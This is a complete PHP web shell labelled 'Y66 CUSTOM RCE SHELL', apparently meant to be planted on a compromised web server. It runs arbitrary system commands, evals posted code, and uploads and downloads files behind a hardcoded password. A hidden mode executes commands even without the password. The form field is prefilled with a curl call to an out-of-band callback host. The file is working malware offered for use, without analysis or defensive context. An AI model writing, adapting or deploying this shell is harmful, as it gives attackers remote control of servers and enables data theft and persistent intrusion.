<?php
/* Y66 CUSTOM RCE SHELL - 82b89ace */
error_reporting(0);
set_time_limit(0);
ini_set('display_errors', 0);
header("X-Powered-By: Y66-Ultimate-2024");
header("X-Y66-ID: 82b89ace");

$pass = "y6682b89ace";
$auth = isset($_GET['auth']) ? $_GET['auth'] : (isset($_POST['auth']) ? $_POST['auth'] : '');

if($auth == $pass) {
    // Custom command execution
    if(isset($_GET['custom_cmd'])) {
        $custom_cmd = base64_decode($_GET['custom_cmd']);
        echo "<pre>";
        system($custom_cmd);
        echo "</pre>";
        exit;
    }
    
    if(isset($_GET['mode'])) {
        switch($_GET['mode']) {
            case 'cmd':
                if(isset($_GET['cmd'])) {
                    echo "<pre>";
                    system($_GET['cmd']);
                    echo "</pre>";
                }
                break;
            case 'eval':
                if(isset($_POST['code'])) {
                    eval($_POST['code']);
                }
                break;
            case 'upload':
                if(isset($_FILES['file'])) {
                    move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
                    echo "Uploaded: " . $_FILES['file']['name'];
                }
                break;
            case 'info':
                phpinfo();
                break;
            case 'download':
                if(isset($_GET['file'])) {
                    $file = $_GET['file'];
                    if(file_exists($file)) {
                        header('Content-Description: File Transfer');
                        header('Content-Type: application/octet-stream');
                        header('Content-Disposition: attachment; filename="'.basename($file).'"');
                        header('Expires: 0');
                        header('Cache-Control: must-revalidate');
                        header('Pragma: public');
                        header('Content-Length: ' . filesize($file));
                        readfile($file);
                        exit;
                    }
                }
                break;
        }
    }
    
    // Default interface
    echo '<html><head><title>Y66+ Custom Shell</title></head><body>';
    echo '<h1>Y66+ Custom Command Shell</h1>';
    echo '<form method="GET">';
    echo '<input type="hidden" name="auth" value="'.$pass.'">';
    echo '<input type="text" name="cmd" placeholder="Command" size="50" value="'curl oovpohobapwmgdcuwqhs9bqhkufrf6o51.oast.fun'">';
    echo '<input type="hidden" name="mode" value="cmd">';
    echo '<input type="submit" value="Execute">';
    echo '</form>';
    echo '<hr>';
    echo '<form method="POST" enctype="multipart/form-data">';
    echo '<input type="hidden" name="auth" value="'.$pass.'">';
    echo '<input type="hidden" name="mode" value="upload">';
    echo '<input type="file" name="file">';
    echo '<input type="submit" value="Upload">';
    echo '</form>';
    echo '</body></html>';
} else {
    // Hidden mode - custom command execution
    if(isset($_GET['custom'])) {
        $cmd = base64_decode($_GET['custom']);
        echo "Y66_CUSTOM_OUTPUT_START";
        system($cmd);
        echo "Y66_CUSTOM_OUTPUT_END";
        exit;
    }
    
    if(isset($_GET['cmd'])) {
        echo "Y66_OUTPUT_START";
        system($_GET['cmd']);
        echo "Y66_OUTPUT_END";
        exit;
    }
    echo "Y66_SHELL_ACTIVE_82b89ace";
}
?>